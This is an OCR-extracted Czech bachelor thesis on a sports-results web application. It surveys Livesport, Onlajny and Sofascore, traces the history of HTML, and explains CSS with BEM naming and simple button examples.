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ABSTRAKT

Tato bakalarska prace se zabyva navrzenim webové aplikace pro evidenci sportovnich vy-
sledk, ktera bude obsahovat nedostatky jiz existujicich feSeni. Teoreticka ¢ast obsahuje po-
pis existujicich feseni jak na ¢eském trhu, tak i zahrani¢nim trhu. Déle jsou popsany pouzité
technologie a shrnuty metody utoku na webové aplikace. V praktické ¢asti je zpracovana
analyza pozadavki, kde je detailn¢ specifikovana funkcionalita aplikace. Na konec praktické
¢asti je vytvoren prototyp aplikace. Pfi feSeni této bakalarské prace byly pouzZity jazyky
HTML, CSS, Javascript a SQL.

Kli¢ova slova: webové aplikace, analyza pozadavki, funkcionalita aplikace, HTML, CSS,

Javascript, SQL.

ABSTRACT

This bechelor thesis consists of developing an web application used for recording of sporting
event results — which will contain the shortcomings of the already existing solutions. Theo-
retical section contains description of existing solutions for Czech and also international
market. This section also contains summary of technologies and methods used for attacks on
web applications. Analysis of requests is written up in the practical section, including de-
tailed functionality specification of the application — finishing with the working prototype.
Programming languages used for development of this bachelors thesis are HTML, CSS,
JavaScript and SQL.

Keywords: web application, analysis of requests, HTML, CSS, Javascript, SQL
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UvVOD

Sportovnich aplikaci, které se zabyvaji evidenci vysledki je v dne$ni dobé mnoho.
V cesku patii mezi nejznaméjsi Livesport.cz, ktery se vyskytuje na ¢eském trhu od roku
2006 a od té doby prosel velkymi zménami. Dale je v cesku webovy portal Onlajny.com,

ktery uz ale vyrazn¢ ptredbéhla aplikace Livesport.

V aktualni dob¢ jsou sportovni aplikace zaméteny spise na sledovani tymii a neni zde
moznost sledovat urcitého hrace v oblasti kolektivnich sporti. Aplikace livesport tedy neu-
moziuje sledovat jednotlivého hrace samostatné. Tento nedostatek je pficina vzniku této

bakalafské prace.

Prvni kapitola se zabyva reSersi existujicich feSeni. Tato kapitola se zaméfi jak na
cesky, tak 1 zahrani¢ni trh. Budou zde zminény pouzivané webové aplikace pro evidenci

sportovnich vysledkt. Ke kazdému feSeni budou shrnuty vyhody a nevyhody.

Nasledujici kapitola bude obsahovat pouzivané technologie této prace, jako jsou
HTML, Kaskadové styly nebo také framework Bootstrap. Budou zde zahrnuty i jednotlivé
verze HTML a postupné zmény toho jazyka. Dale nebude chybét popis kazdé technologie.

Ve tieti kapitole této prace budou shrnuty bezpecnosti hrozby pro webové aplikace.
Préace popise ty nejzndméjsi utoky, coz mize byt naptiklad SQL Injection. Kazdy tento utok
prace popise a poukaze, jak utok jednotlivou metodou vypada a jak se proti témto utokiim

branit.

Ctvrta kapitola se zaméfi na analyzu pozadavk, pro funkénost aplikaci, které eviduji
sportovni vysledky a k tomu poskytované zakladni funkce. Tento bod, tak bude definovat
funkcionalitu navrhované aplikace této bakalarské prace. Budou zde popsany funkéni a ne-

funkéni pozadavky, kapitola bude pokracovat modelem ptipadl uZziti a ndvrhem databaze.

Paté kapitola se bude zabyvat realizaci prototypu aplikace formou HTML a kaska-
dovych styll, tedy jak by mohla aplikace vypadat. UkdZeme si, jak byl ptikladny prototyp
nakodovan a poté jak aplikace vypada na stran¢ uzivatele. Do celé této problematiky bude

zahrnut 1 Javascript pro specifickou funkénost.
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I. TEORETICKA CAST
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1 RESERSE EXISTUJICICH RESENI

Aplikace, které se zabyvaji evidenci sportovnich vysledki je v dnesni dobé mnoho, coz
plati jak pro Cesky trh, tak i pro trh zahrani¢ni. Na trhu existuji sportovni aplikace, kde si
muze uzivatel dohledat, jak se dafi jeho oblibenému tymu. Uzivatel ma k dispozici aktualné
hrajici ¢i jiz odehrané zapasy, stielce golt, hrace, co obdrzely zluté karty atd. Dale je zde

moznost prohlédnout zapasy, co se teprve budou hrat.
1.1 Cesky trh

1.1.1 Livesport.cz

Nejznamé;jsi sportovni aplikaci na ceském trhu pro evidenci sportovnich vysledka je
sportil, a to zejména diky tomu, ze zde zadny sport nechybi. Fanousek kazdého sportu si tak

zde ptijde na své.

Livesport ma né€kolik zajimavych funkci, mezi nejpouzivané;jsi patti ,,Moje zapasy*
do kterych si miizeme libovolny zapas z nabidky piidat. Tato funkce slouzi k tomu, ze z to-

hoto zépasu budeme déle dostavat upozornéni a oblibené zapasy mame lehce po ruce.

Aplikace muze byt vyuzita i nepfihlaSenym uzivatelem, ten ma piistup ke vSem da-
tim jako ptihlaSeny uzivatel. Hlavni rozdil spociva v tom, Ze pokud se uzivatel nepftihlasi,
tak jeho nastaveni zistane uloZeno jen na konkrétnim zatizeni. Je tak daleko lepsi si vytvorit
ucet a dat si od oblibenych oblibenou ligu ¢i tym, toto nastaveni uz ve vasem uctu zlistane.
Pokud se ptihlésite do svého uctu na mobilni ¢i jiném zafizeni, tak se oblibené soutéze ¢i

tymy automaticky synchronizuji.

Aplikaci je mozné vyuzivat zdarma. Uzivatel si mlize za poplatek odstranit zobrazo-

vani reklamnich banneru.
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Vyhody

Hlavni vyhodou Livesportu je obsazenost vSech sportll, jsou tak v této aplikace ob-
sazeny jak zimni, tak i letni sporty. Mezi dal$i vyhody patii funkce dané aplikace, jako je
oblibeny tym ¢i liga.

Prihlaseni

REGISTRACE

Q¢ a @

{_s Livesportcz

¥ DALSi SPORTY

@ FOTBAL

Moje ligy

Q HOKE] @ TENIS BASKETBAL @ HAZENA VOLEJBAL @ AM. FOTBAL

Ve DI EEP LIVE  Moje zépasy (0)  Kurzy  Dohrané  Bude se hrat

* ZIMNI SPORTY

¢ o6jo2 it B

SPORTV TV

=4 Premier League TV Program ZDE

[0 B ALZFIRSKO: 1. liga Tabulka
B Fortunaliga O Konec Paradou 2-0  Biskra
B FHL = ANGLIE: Premier League Cup 7 zobraz 2) Eﬂ!‘SP r_JfI'ﬂJ'. cz
BN Ligue 1 — ANGLIE: FA Youth Cup +'r zobraz 2
S A - = e -
Bl sere 1 ASIE: Olympijské hry Zeny - Kvalifikace - 3. fize 7 Tabulka
B Gundesi . . Py
unaesica |:| Konec Vietnam £ 1-0 Myanmar Z Aktua!r"
— i .
= S [J] # BAHRAIN: Premier League 7' Tabulka zpravy
B Lal
o= e O Konec Bussiteen 1-2  Al-Shabbab o Eeskgch
a3
B3 = O Konec Al-Rifaa 3-1 EsstRiffa tenistech
.
B Lica mistrd 1 NE BELGIE: Pohdr +r Pavouk
i cv A li ~
B Evropsialiga [0 20:45 Kortrijk Antverpy @ LIvE
m 6 > E8] BRAZILIE: Campeonato Acreano - 1. faze v 7
- & EEl BRAZILIF: Campeonato Baiano 7 1
ﬁ E8] BRAZILTE: Campeonato Brasiliense +; 1
B2 /15:30 . . N
EEl BRAZILIE: Campeonato Cearense - 2. faze < 2
Schalke E8] BRAZILTE: Campeonato Paulista A2 ¢ 1
— V8
Paderborn EEl BRAZILIE: Campeonato Pernambucano +y 1
- e 2 E8] BRAZILIE: Campeonato Sergipano - 1. faze ¥ 7
51 460 6. L TE: g 1
151 460 650 EEl BRAZILIE: C I
[] EE3 BRAZILIE: Copa do Brasil v Pavouk
(g VSADIT [ [0 Konec (f) Bahia DeFeira 3-1 Luverdense
e O Konec [1] Piracicaba 1-0 Londrina
i hazard hfe mitte vinitmeut -
zivizloss! 185 D Konec Santos AP 1-1 America MG (1]
[0 Konec Saoluiz  0-0  AmericaRN (f]
i O Konec Vilhenense 1-1 Boa [@
Konec Aquidauanense 0-1 ABC[D
Pro vibér tymu Kliknéte O e
na ikonku ¥ umist&nou O Konec Operario VG 0-0 Sants Cruz (1)
vedle ndzvu tjmu. D Konec Palmas 0-2 Parana (f]
@ - -
Zema O Konec 1] River-PI  1-0 Bshia
onec axias - otafogo R1 (0
i O « SER Caxi 1-1 BotafogoR1 B
Albanie

Obrazek 1 - Aplikace Livesport [1]



UTB ve Zliné, Fakulta aplikované informatiky 14

Aplikace nabizi no¢ni téma. Po kliknuti na ikonu vedle vyhledavéni se aplikace Li-
vesport pirepne do no¢niho a svétla barva se zméni na tmavou. Funkce je vhodna predevsim
pro pouzivani aplikace po setméni. Nazorny piiklad takového vzhledu miizeme vidét na Ob-

razku &.2[1].

{_s Livesportcz @ Q @ e recrTRAE

@ FOTBAL (=) HOKE @ TENIS @ BASKETBAL @ HAZENA @ VOLEJBAL AM. FOTBAL ﬁ{é ZIMNE SPORTY ¥ DALSI SPORTY

+# Moje ligy Veechny zapasy LIVE M ()] Kurzy Dohrané Bude se hrdt 06/02 Ct SPORT VTV

8 ALZiRSKO: 1. liga 77 abulka VEELETATE
Paradou 2-0 Biskra
BEE ANGLIE: Premier League Cup 17 .\:J teﬂfSDthﬂf'. cz
EE ANGLIE: FA Youth Cup 't
%# ASIE: Olympijské hry Zeny - Kvalifikace - 3. faze 7y Tabuka
nec vietnam Z 1-0  Myanmar Z 0-0) Aktua'!r"’
E BAHRAIN: Premier League 77 Sbulka pr'a'vy
saitee Al-shabbab 0-0) o EESkgE.‘h
= - tenistech.

| Laliga

%% Euro

0l BELGIE: Pohar

20:45 Kortrijlc = Antverpy
4¥ BRAZILIE: Campeonato Acreano -
<5 BRAZILTE: Campeonato Baiano 5.7

<% BRAZILIE: Campeonato Brasiliense

Némecko - 1.liga _ = .
<> BRAZILIE: Campeonato Cearense - 2. faze 77

Leverkusen
Vs
Dortmund ¥ BRAZILIE: Campeonato Pernambucano 17

¥ BRAZILIE: Campeonato Paulista A2 7y

- = 2 > BRAZILIE: Campeonato Sergipano - 1. faze +
3.05 370 230 ¥ BRAZILIE: Campeonato Sul-Matogrossense 17
¥ BRAZILIE: Copa do Brasil 7
Konec Bahia De Feira - Luverdense

Piracicaba

Aquidaua
Santa Cruz
Parana

River-PL

Obrazek 2 — Livesport no¢ni téma [1]

Mezi dalsi vyhody Livesportu patii detailni ndhled na konkrétni zépas. Pti zvoleni
karty Live Centre aplikace nabidne karty jako Piehled zapasu, aktualni statistiky a sestavy,
které jsou viditelné na nasledujicim obrazku. Karta sestava nabizi mnohé informace, jako je
rozestaveni jednotlivého tymu, narodnosti hraca, stfidani hrac anebo také obdrzené karty.
Karta kurzy ukazuje vypsané kurzy pted zahdjenim zapasu, H2H uZivateli zobrazi posledni
hrané zapasy jednotlivych tymi a v neposledni fad€ poslednich 5 stetnuti aktualné hrajicich

tymu. Karta Tabulka slouzi k tomu, aby uZivateli nabidla aktuélni tabulku, v tomto ptipad¢
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Rumunské ligy uz véetné hranych zépast. Posledni karta Video slouzi pro zobrazeni nejza-

jimavéjsich momentd zapasu, jako jsou napiiklad vsttelené goly, ¢i kopané penalty.

(", Livesport.cz

B rRumun Liga 1 - 18. 06.02.2020 19:00

FC Voluntari

Live Centre  Kurzy H2H  Tabulka  Video
Fiehled zépasu  Statistky  Sestawy
4-2-3-1 Rozestaveni hracd

o

Kodé

Fablo

! ) ﬁ' ‘W ‘Iﬂ'

Capatana Sim ki Daida Balgradean

Pascanu ﬁ = Filip
= T

_ Sanoh Coman Morutan
°
Struna
Zakladni sestavy

Achim C., Balagradean ¢
Armas 1. =) Coman F.
Capatana M. Cretu V.
Cristea L.
Filip L.
Matan A. (Gheorghe 1.) Man D.
Pabla Morutan O.
Pascanu A. Caida R.

Sanoh M, {(Morar V.) (vina I.) @ Olaru D.

Struna Andraz

Obrazek 3 — Livesport sestava [1]
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Po kliknuti na jednotlivého hrace aplikace ukaze detailni informace o hraci — hractv profil.
V profilu hrace si miizeme precist informace jako jeho vék, pozice, fotografie, logo klubu,
posledni hrané zapasy, obdrzené karty a vysledky zapast, které hra¢ odehral. Dale profil

nabizi hra¢ovu karieru z poslednich let a jeho prestupy mezi kluby.

['E} Fotbal > W Rumunsko

Florinel Coman

Posledni zapasy

02.02.20 CFR Kluz FCSB

20.01.20 T PK FCSB Lok. Moskva

18.01.20 W PE FCSB Karlsruhe
FCSB U Craiova
Viitorul Constanta FCSB

Gaz Metan

Mezindrodni pohary

Liga 1
Liga 1
Liga 1
Liga 1
Liga 1
Liga 1
2014/2015 Viito stanta Liga 1
Celkem

Prestupy

Datum Odkud Typ

V. Viitorul Constanta Ffestup

Obrazek 4 — Livesport hracav profil [1]
Nevyhody

V aplikaci livesport mize uZivatelim chybét funkce pro sledovani jednotlivych
hract. Pokud by tedy uzivatel této aplikace chtél sledovat svého oblibeného hrace, tak mu

to nebude umoznéno, jelikoz tato funkce v aplikaci neni obsaZena.
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1.1.2 Onlajny.com

Dalsi aplikaci pro evidenci sportovnich vysledku na ¢eském trhu jsou Onlajny.com.

2 r 4

V tomto ptipadé se bavime o webové aplikaci, kde je podstatné uzsi vybér zapasu, jsou zde
pouze vyznamngéjsi utkani. Jedna se tedy o podstatné jednodussi aplikaci, nez je Livesport.
Pro zobrazeni kompletné hranych zépasi dany den slouzi karta ,,Hlavni*, kde aplikace vy-
pisSe vSechny sporty a k nim jednotlivé zépasy. Dale aplikace onlajny nabizi roz¢lenéni na
jednotlivé sporty, jako je naptiklad Hokej, Fotbal ¢i Tenis. V aplikaci je umoznéno setadit
zapasy podle sportu, nebo ¢asu. Onlajny.com umoznuji funkci ,,Multionlajn®, kde si mtizeme
vybrat jednotlivé zapasy, které chceme sledovat pomoci zaskrtnuti policka. Mimo funkci
»Multionlajn“ aplikace poskytuje vypsani zapast praveé probihajicich, budoucich, anebo

skoncenych.  Tuto  skute¢nost muzeme  vidét na  Obrazku ¢&.5. [2]

C{Onlajny

Fotokniha s potem

TJ Fotokniha Adna .. . 5225040, °

Sifku -40 % profesionalni vazbé se
slevou 40 %

Piste pro Onlajny.com

VO Viedlegasu (<D Multionlain  Probihajici  Budouci SkonZené  Vybrané 042 « [ »

WTA DAUHA (TVRDY POVRCH) (<3

Tipsport

Chelsea - Bayern

Tiket aréna: 13:37 B. Strycova — J. Ostapenkova (2) 0:2 16 | 26
14:39 C. Suarezowva-Mavarrova — P. Kvitova (2) 1:2 64 | 36 | 06
18:07 Ka. Pliskova — B. Peraova (2) 2:0 6:3 | 6:0
sizkai 20:01 M. Sakkariova - T. Martincova (2) = EE o 36 00 % 00
6 o 04 04 WTA ACAPULCO (TVRDY POVRCH)
01:41 M. Bouzkova — T. Mariaova (1) 1:2 46 | 6:1 | 26

. vsadil 60 K¢
amifevyhrat | QETEE

51960 K¢ _
[ B riesporT ExTRALIGA (CR) | (30 EEITEE

17:00 HC Ocelafi Tiinec — PSG Berani Zlin (48) 21 (0:1, 0:0, 1:0 - 0:0) po s.n, (1:0)
17:00 HC VERVA Litvinov — Mountfield HK (34) 233 (10, 1:2, 0:1) komec
ZOBRAZIT TIKET 18:00 Bili Tygfi Liberec — HC Skoda Plzedi (11) 41 (1:1, 1:0, 2:0) konec
5 cance LGa - 0 PORADI V PLAY-OFF = Partner:
i Yo S Gt i {ICaslE A e tzg 17:30 €EZ Motor Ceské Bud&jovice — HC Stadion Litomé&Fice (24) 31 (21,00, 1:0) konec
Skrill 7w @@ iE Partner:
01:00 Columbus Blue Jackets — Ottawa Senators 4:3 (1:1, 121, 1:1- 1:0) po prodl.
01:00% Boston Bruins — Calgary Flames £ 0:0 WV 1e3) 423 34 pied zapasem
ACCEPTED AT 01:00* Montreal Canadiens — Vancouver Canucks 0:0 Y 21226282 ped zépasem
BSE;S;;E:S 01:00* Tampa Bay Lightning — Toronto Maple Leafs 0:0 pred zépasem
01:00% Mew York Islanders — New York Rangers [ 0:0 pred zépasem

Obrazek 5 — Aplikace Onlajny.com [2]
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Pti vybért jednotlivého zapast aplikace nabizi vétsi skalu moznosti, mizeme si naptiklad

zobrazit pouze karty, ¢i branky jako tomu je na Obrazku ¢€.6.[2]

@ Onlajny

Piste pro Onlajny.com

Lyon — Juventus 1:0 (kon.) | Real Madrid — Manchester City  1:2 (kon.)

V' Tipsport

Online registrace
bez pobocky

Real Madrid CF —
e fvEo

=+ Manchester City
e fvPo

ACHES )
I K'e

i

Stfeda 26.02.2020, 21:00 « Estadio Santiago Bernabéu (Madrid) « Liga mistrd « Osmifindle

PREDZAPASOVE KURZY

Y [2.07) 347 238

Skrift multimedia

|i Like 0 Share

Komentuje

Luk&g Mihal

Tipsport

(383 Miisterstvo financi varuje- (€asH ra har arcm He mée vaniknout zavisiost!

Skerill Spustit pienos

na TV Tipsport

o 83 Manchester City pravé vstielil branku?!
P Realu Madrid b&hem pé&ti minut extrémné klesly
£ance na postup! KEVIN DE BRUYNE si jako
= spravny kapitan poradil s penaltou bez
problémd, protoZe zakongoval presné k levé

LOVE FOOTBALL? zgwl.‘hibaut Courtois navic ani neodhad| smér

Obrézek 6 — Onlajny.com zobrazeni zapasu [2]

Vyhody

Mezi hlavni vyhody této aplikace rozhodné patii velk4 jednoduchost a ptrehlednost.
Diky tomu, Ze aplikace obsahuje mensi pocet zapasu je tak lehce dohledatelny zapas, co
pravé hledame. Mezi dalsi vyhody patii komentované pienosy. Kazdy zépas na onlajnech
totiz komentuje jednotlivy zaméstnanec této spolec¢nosti. Diky této skutecnosti miizeme vé-

dét, co se na hfisti pfesné déje, nebo z jaké pozice padla branka.

Nevyhody

Jak jiz bylo zminéno. Onlajny poskytuji pouze par vybranych popularnich zapasu.

Aplikace neni zdaleka tak komplexni jako Livesport. Mezi dal$i nevyhody mizeme fadit i
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opozdéni, kazdy zapas totiz komentuje jednotlivy zaméstnanec a vstielend branka, nebo vy-
znamna situace v zapase se do aplikace miize promitnout daleko pozdéji nez v ptipadé kon-

kurence.

1.2 Zahraniéni trh

Mezi nejznaméjsi zahrani¢ni aplikace pro evidenci sportovni vysledkd je SofaS-

core.com [3], coZ je bezplatna aplikace, kde miizeme sledovat 35 sportli v redlném case.

1.2.1 Sofascore.com

Jedna se o zahrani¢ni sportovni aplikaci, kde najdeme vSechny zndmé sporty. Svou
funkénosti je tato aplikace podobna Livesportu. Je tak zde menu, kde si miizeme vybrat jed-
notlivé sporty, pomoci kalendatfe na levé strané lze vyfiltrovat zapasy z urcitého dne podle
potieby. Aplikace dale nabizi nejlepsi evropské ligy. Pii kliknuti na jednotlivy zapas mi-
zeme vidét razné detaily, jako je naptiklad drzeni miCe v urcity Cas. Tento priklad miizeme

vidét na nasledujicim Obrazku ¢.7. [3]

QA Droppingodds A Favorites @ Profile

[& sofascore

[ZLIGEM  Tennis  Basketball Hockey Volleyball Handball Motorsport Cricket Rugby  American Football Baseball More~ -]

Football LiveScore @ All @ Live (43)
FOLLOW FOLLOW
4 March 2020 > England LFoLLow) (FoLLow)
FA Cup Details Statistics Lineups Matches
A Tu Su i
Leicester Cit
20:45 E‘,mmghamyc‘w Today at 18:30 50:57
25 26 27 9 1
2045 Sheffield Wednesday
2 3 ° 5 6 7 8 Manchester City
Tottenh:
5 10 M 1z o1z 1415 w5 TR
Add Attack Momentum to your website!
% 17 18 19 20 21 22 - i
[ C%pa del Rey SofaScore ratings :
23 24 25 26 27 28 29 - SofaScore ratings »
Mirandés
w a1 1 2 3 4 P9 Real Sociedad Second half
Foul Michael Parensen 48
Today 19:39 GD;E‘;g‘i(al SofaScore ratings © 46 Moussa Diaby Out: Jonathan Tah
——— . 5 45 Mitchell Weiser Out: Nadiem Amir;
ayer everkusen -
TOP LEAGUES 1" 37FC Union Berlin ‘ 1 HTO-1
. 045 Eintracht Frankfurt 44" Jonsthan Tah Foul
UEFA Champions League Werder Bremen Assist: Marius Biifter Marcus Ingvartsen 0 -1 39 @
1/ UEFA Europa League ‘ ' Haly
& Premier League Coppa ltalia WHO WILL WIN?
. 20:45  Juventus 29
@ Llaliga Pastno.. Milam 30062 7264 2906
Bundesliga France ERSERE
§ serien ‘ ' Coupe de France oDDS
o Ligue1 2190 Olvmpique Lyonnais
Paris Saint-Germain Full time
() Brasileiro Série A
Ik South America Sofascot
4 CONMEBOL Libertadores AW Copa Libertadores, Group A Sofascore ratngs 1.40~ 475+ 7.00
(® CAF Champions League 935 Barcelona sC
) Independiente del Valle Show more
— 1.Liga
Wl South America -
: ofaScore rat
JA\ Copa Libertadores, Group B ° e ratngs H2H
LEAGUES
2315 Tgre
Palmeiras =
Filter. Q 3 0 0 \gme
W52 |everkusen Union Berlin

W South America

I8\ Copa Libertadores. Groun C Sofascore atings

Obrazek 7 — Aplikace Sofacore.com [3]

Sofascore.com déle nabizi funkci zvonecku, kdy si miizeme na ur€ity zapas zapnout

upozornéni a dostavat tak nejnovéjsi zpravy. V nabidce zépasu aplikace poskytuje i rizné
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statistiky, jako jsou posledni hrané zdpasy mezi danymi tymy a vypsané kurzy na aktudlné
hrany zapas. Dale jsou zde i vzajemné bilance trenért, jak si vedou proti sobé. Nechybi ani
informace o zapase, aplikace svym uzivateltim nabizi i primér karet na zapas, jméno a pfi-

jmeni rozhod¢iho, ¢i misto konani. Tuto skute¢nost miizeme vidét na Obrazku ¢.8.[3]

MANAGER H2H

S
2 0 0
Peter Bosz LIrs Fischer

WINNING ODDS

E¥ Bayer 04 Leverkusen

When the odds are 1.40 the expected chance of winning is 71%, but
this team actually wins 58% matches with these odds.

MATCH INFO
Start date 04. Mar 2020, 18:30
Referee Benjamin Cortus, Germany
Avg. cards B 016 | 3.98
Location Leverkusen, Germany
Venue BayArena

Obrazek 8 — SofaScore.com statistika manazert [3]
Vyhody

Jako hlavni vyhodu je urcité brana celosvétova navstévnost uzivateld, jelikoZ tato
aplikace je vyuZzivana mezinarodn¢. Mezi dalsi vyhody rozhodné patii piehlednost a nékteré
funkce, které¢ jiz byly zminény v této praci, jako je naptiklad statistiky trenérti, pramér Zlu-

tych karet na zépas, nebo drzeni mice jednotlivého tymi v urcity Cas.

Nevyhody

Jako nevyhoda je povaZovano chybgjici funkce sledovani jednotlivych hraca.
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2 POUZITE TECHNOLOGIE

Zakladni technologie, které se vyuzivaji pro tvorbu statickych webovych stranek jsou
HTML a CSS. Takov¢ ,,frontend* technologie slouzi ptedevsim k tomu, co uzivatel vidi na

daném webu. K témto dvéma technologiim se Casto pridava i Javascript.

2.1 Znackovaci jazyk HTML

HyperText Markup Language (HTML) se je standardni znackovaci jazyk, ktery se vy-
uziva zejména pro tvorbu webovych stranek. Tento jazyk slouzi pro dokumenty, které jsou

urcené k zobrazovani ve webovém prohlizec¢i. Aktudlni verze tohoto jazyka je HTMLS.
[4][5]

Webovy prohlize¢ piijimé jednotlivé HTML dokumenty ze serveru, ¢i mistniho ulo-
7i$t€ a tyto dokumenty si tak mizeme prohlédnout formou webovych stranek. HTML slouzi
k popisovani sémantickych struktur webovych stranek. Dfive obsah HTML zahrnoval

vzhled dokumentt, ktery se v dnesni dob€ uz moc nevyuziva.[4][5]

Vsechny HTML dokumenty se skladaji ze zékladni struktury, kterd zahrnuje typ do-
kumentu, ten slouzi pfedevsim pro webové prohlizece. Diky typu dokumentu tak mohou
rozpoznat verzi HTML. Hlavicka stranky poskytuje jednotlivé definice importa jako jsou
kaskadové styly, scripty, nebo napiiklad framework. Dale pak télo stranky, kde jsou umis-

tény prvky HTML.[4][5]

Jednotlivé bloky HTML jako je hlavicka, t€lo, nav ¢i paticka brany jako stavebni blok
stranek. U konstrukce HTML stranky mohou byt napiiklad obrazky a dalsi objekty, jako je
interaktivni formuléf, ktery miize byt vlozen do vykreslené stranky. Jazyk HTML slouzi
k poskytovani prostfedkil k vytvareni strukturovanych dokumentti ozna¢ovanim strukturalni
sémantiky pro text, jako je nadpis, odstavec, seznam, odkaz, citace a dalsi. Kazdy prvek
HTML je vymezen znackami, které jsou napsané pomoci ostrych zadvorek. Znacka jako <img
/> nebo <input /> tak ptfimo zavadéji obsah na strdnku. Dal$i znacka, jako je naptiklad <p>,
obklopuji a poskytuji informace o textu dokumentu a mohou obsahovat dalsi znacky jako
dil¢i prvky. Webové prohlizece nezobrazuji jednotlivé znatky HTML, ale jsou pouZivany k

interpretaci obsahu stranky.[4][5]
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2.1.1 Historie HTML

Historie tohoto jazyka zapocala pfi vyvoji hypertextovych odkazi, jenz odstartovali
ve 40.letech 20. stoleti, kdyz Vannevar Brush ptedstavil systém pro hypertexty pod ndzvem
Memex. Nasledujici 1éta ho nasledoval Douglas Engelbart a Ted Nelson, ktefi se vénovali
jejich hypertextového systému s ndzvem Xanada. DalSim vyznamnym piedstavitelem byl

Bill Atkinson, ktery se proslavil systémem HyperCard.[6]

Prvotni verzi jazyka HTML se objevila v roce 1991, ktera vSak byla neformalni spe-
cifikaci HTML 1.0. Autofi této verze byli Tim Berners-Lee a Robert Caillau. Tato verze byla
vytvofena jako soucést projektu WWW, ten umoznoval védcim komunikovat a sdilet vy-

sledky dokumenti.[6]

V roce 1992 ptichazeli prvni prohlizece www stranek. Kazdy prohlize¢ byl tadkovy
a neobsahoval Zadnou grafiku. Navrh HTML 2.0 se objevil v roce 1993, kde se uz také ob-
jevila 1 grafika. Prvni prohlize¢ s grafickym prostfedim dostal ndzev NCSA MOSAC. Dalsi
prohlize¢, ktery podporoval grafické prostfedi byl pro vefejnost zvefejnény v roce 1994.

Prohlize¢ Netscape se povazoval za néslednika prvniho grafického prohlizece MOSAIC.[6]

Verze HTML 2.0 byla oficialné pfedstavena v roce 1995. Netscape zavedl ve stejném
roce 1 neoficialni rozsiteni verze 2.0, které mizeme znat jako HTML 3.0. Zhruba v ptilce
roku 1996 prisla specifikace HTML 3.2, ktera byla ptfedstavena jako kombinace HTML 2.0
a tabulek. Spolec¢nost Microsoft ve stejném obdobi vydala jejich prvni prohlize¢, ktery se
jmenoval MsIE. Nasledujici verze jazyka HTML 4.0 vysla v Cervenci roku 1997. Jednalo se
o verzi 3.2 vylepsenou o rozsiteni tabulek, formulari doplnénéd o ramy, kaskadové styly a

skriptovani.[6][7]

Rok 1999 ptinesl verzi 4.01, kde se rozsitila predev§im podpora kaskadovych stylin-
govych listi. Ve verzi 3.2 totiz byly CSS vloZeny pfimo do stranky HTML. Pokud web
obsahuje jednotlivé stranky, které lze uzit pro styl kazdé stranky, pak je nezbytné na kazdou
webovou stanku umistit CSS specifikace. JelikoZz dochdzelo k opakovéni stejného bloku
CSS, tak jako feSeni této problematiky vysla verze 4.01, kde se objevil koncept externiho
stylingového listu. Soucasti této koncepce bylo umoZnéno vytvoftit externi soubor CSS a
dany soubor zahrnout do samotného HTML. Tato verze déle poskytovala podporu pro dalsi

znacky HTML.[6][7]

Nejnovéjsi verzi jazyka HTML je HTML 5, jak jiz bylo v této praci zminéno. Po

dlouhé 15leté odmlce tak vysla dalsi verze, kterd byla dostupnd v roce 2014. Tato verze
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ptisla s podporou spousty zna¢ek HTML. HTML 5 pftineslo naptiklad podporu pro prvky
formulére. Do verze 5 bylo ptidano nékolik znacek, jako je naptiklad email. Email byla tedy
nova znacka HTML 35, ktera je vstupni prvkem typu email. Jedna se o znacku formuléie,
ktera kontroluje vstupni hodnotu, zda byla vlozena s platnym e-mailem. Mezi dal$i nové
znacky patfi heslo, kde je vstupni hodnota uzivatele reprezentovana specialnimi symboly,
jednotlivé symboly ukladaji heslo pied odhalenim v prohlizeci. Déale zvukova znacka, ktera
pomaha pridat zvuk na webovou stranku. Tato znacka ndm také umoznuje ptehrat zvukovy
klip. Do této verze pribyly také sémantické tagy, které jsou také zndmy pod strukturdlnimi
tagy. Jedna se o znacky, které slouzi k popisovani struktury stranky HTML. Napomaha tak
rozdélit stranku HTML do jednotlivych struktur. Struktury se spoji do stranky a vytvori
stranku HTML jako celek.[6][7]

Zakladni rozdil mezi verzemi HTML4 a HTML 5[8], ty mtizeme vidét na nasledujicim

obrazku ¢.9.

Struktura stranky HTML4 vs HTML5

HTML4: Velké mnozstvi ID/trid HTML5: Sémantické tagy/sekce

Obrazek 9 — Rozdil verzi HTML 4 a HTML 5
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2.2 Kaskadové styly

Kaskadové styly l1ze definovat jako jazyk stylt, ktera se pouziva k popisu prezentace

dokumentu napsaného v znackovacim jazyce HTML.

I ptes to, ze je mozné stylovat prvky HTML pitimo v HTML dokumentu za uziti inline
styld, tak se pro stylovani uzivaji kaskadové styly. Princip inline styli se nevyuziva piede-
vS§im, aby se nevyskytovala zbytecna duplicita kodu a s tim je spojend i jeho Spatnd udrzo-

vatelnost. [5][9]

Daleko lepsi ptistup tak je stylovani HTML prvki za pomoci externiho souboru kas-
kadovych styli. CSS totiz umoznuji definovat tfidy a identifikovat je s pfislusnym ,.key —
value® atributem, ktery lze ptifadit jednotlivym HTML prvkiim a je tak mozné se vyvarovat

duplicitnimu kédu, coz souvisi se zvySenim jeho udrzovatelnosti.[5][9]

Problém pii vytvotfeni CSS stylti miize nastat pfi pojmenovavani vét§iho poctu tiid.
Zjednodusit se tato problematika da tak, Ze si zavedeme fad pro pojmenovavani tiid jako
napiiklad Blok — Element — Modifier (BEM). Takova konvence je dobra hlavné v tom oh-

ledu, ze ptinasi lepsi organizaci kddu a jednotnou strukturu. [9] [10]

Element Modifier
Standalone entity that is meaningful on its own A part of a block that has no standalone A flag on a block or element. Use them to
meaning and is semantically fied to its block change appearance or behavior.
Examples
Examples Examples
header , container menu checkbox
input menu item list item , checkbox caption , disabled , highlighted , checked , fixed ,
header title size big , color yellow
menu elements
8@ g ‘
GitHub Explore Fostures Enterpriss  Biog Sign in

Build software
better, together.

Powerful collaboration, code review, and code management for
open source and private projects. Need private repositories?

Obrazek 10 — BEM popis [10]
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Podivejme se, jak 1ze jeden konkrétni prvek na strance implementovat do BEM. Vez-

meme si napiiklad tlacitka.

Muzeme mit normalni tlacitko pro obvyklé pfipady a dva dalsi stavy pro jiné. Protoze stylu-
jeme bloky podle vybéru tiid pomoci BEM, miizeme je implementovat pomoci libovolnych
znacek, které chceme (tlacitko, anebo dokonce div). Pravidla pro pojmenovani nam ftikaji,

ze pouzijeme syntaxi blok — modifikator — value.[10]
Za uziti HTML jazyka si vytvofime tii rizna tlacitka:

HTML

<button class="button”>
Normal button

<fbutton>

<button class="button button--state-success™:
success butteon

</button:

<butten class="button button--state-danger”:»
Danger button

«/button>

Obrazek 11 — HTML kod [10]
A nyni si vySe zminény HTML kod nastylujeme za pomoci uziti CSS stylu.

CSS

button {
display: inline-block;
border-radius: 2px;
padding: 7px 12px;
